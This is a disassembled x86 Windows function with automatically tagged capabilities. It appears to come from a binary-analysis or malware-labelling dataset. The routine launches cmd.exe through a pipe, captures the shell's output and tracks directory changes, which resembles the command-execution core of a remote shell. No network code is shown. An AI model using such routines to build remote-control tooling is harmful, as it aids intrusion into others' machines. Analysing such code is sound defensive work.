Function at 0x409736
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xc444
call fcn.0040a8b0
push ebx
xor ebx, ebx
test byte [0x40f9f8], 1
push esi
push edi
mov byte [ebp - 2], bl
mov byte [ebp - 3], bl
mov esi, 0x40fa08
jne 0x40977a
or byte [0x40f9f8], 1
lea eax, [ebp - 1]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
push 0x409b4f
call fcn.0040a856
pop ecx
lea eax, [ebp - 1]
lea ecx, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp - 1]
lea ecx, [ebp - 0x34]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp + 0xc]
push str.cmd.exe
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x4097ba
push 0x40be78
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov byte [ebp - 2], 1
lea eax, [ebp - 0x40]
push ebx
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x40], 0xc
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x3c], ebx
call dword [sym.imp.KERNEL32.DLL_CreatePipe]
push 0x11
xor eax, eax
pop ecx
lea edi, [ebp - 0xf4]
rep stosd dword es:[edi], eax
push 0xfffffffffffffff6
mov dword [ebp - 0xf4], 0x44
mov dword [ebp - 0xc8], 0x101
mov word [ebp - 0xc4], bx
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0x50]
mov ecx, esi
push eax
lea eax, [ebp - 0xf4]
push eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push ebx
push ebx
push 1
push ebx
push ebx
lea ecx, [ebp + 0xc]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
push 0x1f4
setne byte [ebp - 1]
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp byte [ebp - 1], bl
je 0x409aab
lea eax, [ebp - 0x24]
push ebx
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_PeekNamedPipe]
cmp dword [ebp - 0x24], ebx
jbe 0x40989a
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0xc444]
push 0xc350
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
jmp 0x40989d
mov dword [ebp - 8], ebx
cmp dword [ebp - 8], ebx
jbe 0x4098db
lea eax, [ebp - 1]
lea ecx, [ebp - 0xb0]
push eax
lea eax, [ebp - 0xc444]
push dword [ebp - 8]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int__class_std::allocator_char__const__]
push eax
lea ecx, [ebp - 0x34]
call dword [0x40b290]
lea ecx, [ebp - 0xb0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 3], 1
jmp 0x409a76
cmp byte [ebp - 3], bl
jne 0x409a76
mov edi, 0x40be74
push ebx
push edi
lea ecx, [ebp + 0xc]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int_const]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp eax, dword [ecx]
je 0x409a76
push dword [ecx]
lea ecx, [ebp + 0xc]
push ebx
push edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int_const]
inc eax
lea ecx, [ebp + 0xc]
inc eax
push eax
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::substr_unsigned_int__unsigned_int_]
push eax
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0xa0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push 0x22
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char__unsigned_int_const]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp eax, dword [ecx]
je 0x409983
lea edi, [eax + 1]
lea ecx, [ebp - 0x1c]
push edi
push 0x22
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char__unsigned_int_const]
dec eax
lea ecx, [ebp - 0x1c]
dec eax
push eax
lea eax, [ebp - 0x90]
push edi
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::substr_unsigned_int__unsigned_int_]
push eax
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x90]
jmp 0x4099bf
xor edi, edi
push ebx
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_]
mov al, byte [eax]
cmp al, 0x20
jne 0x40999d
inc edi
cmp al, al
jne 0x40999d
push edi
jmp 0x409986
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
lea ecx, [ebp - 0x1c]
push dword [eax]
lea eax, [ebp - 0x70]
push edi
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::substr_unsigned_int__unsigned_int_]
push eax
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x1c]
push 0x40be70
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
pop ecx
test al, al
mov ecx, esi
je 0x409a3d
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
cmp eax, 3
jbe 0x409a76
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov ecx, esi
push dword [eax]
push 0x5c
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::rfind_char__unsigned_int_const]
push eax
lea eax, [ebp - 0x80]
push ebx
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::substr_unsigned_int__unsigned_int_]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x80]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push 0x5c
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char__unsigned_int_const]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp eax, dword [ecx]
jne 0x409a76
push 0x5c
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_]
jmp 0x409a76
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
cmp eax, 3
lea eax, [ebp - 0x1c]
push eax
jbe 0x409a6e
lea eax, [ebp - 0x60]
push 0x5c
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
mov ecx, esi
push eax
call dword [0x40b290]
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x409a76
mov ecx, esi
call dword [0x40b290]
cmp dword [ebp - 8], ebx
ja 0x409868
cmp byte [ebp - 2], bl
je 0x409a8e
push ebx
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0xffffffffffffffff
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x4c]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x50]
call esi
jmp 0x409ab1
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x20]
call esi
cmp byte [ebp - 2], 1
pop edi
pop esi
pop ebx
jne 0x409ad3
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
jmp 0x409b2f
push 0x3e
push 0x40fa08
push 0xa
lea eax, [ebp - 0x34]
push 0xd
push eax
lea eax, [ebp - 0x70]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_
add esp, 0xc
push eax
lea eax, [ebp - 0x80]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_
add esp, 0xc
push eax
lea eax, [ebp - 0x60]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
push dword [ebp + 8]
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_
add esp, 0xc
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x80]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp + 0xc]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp + 8]
leave
ret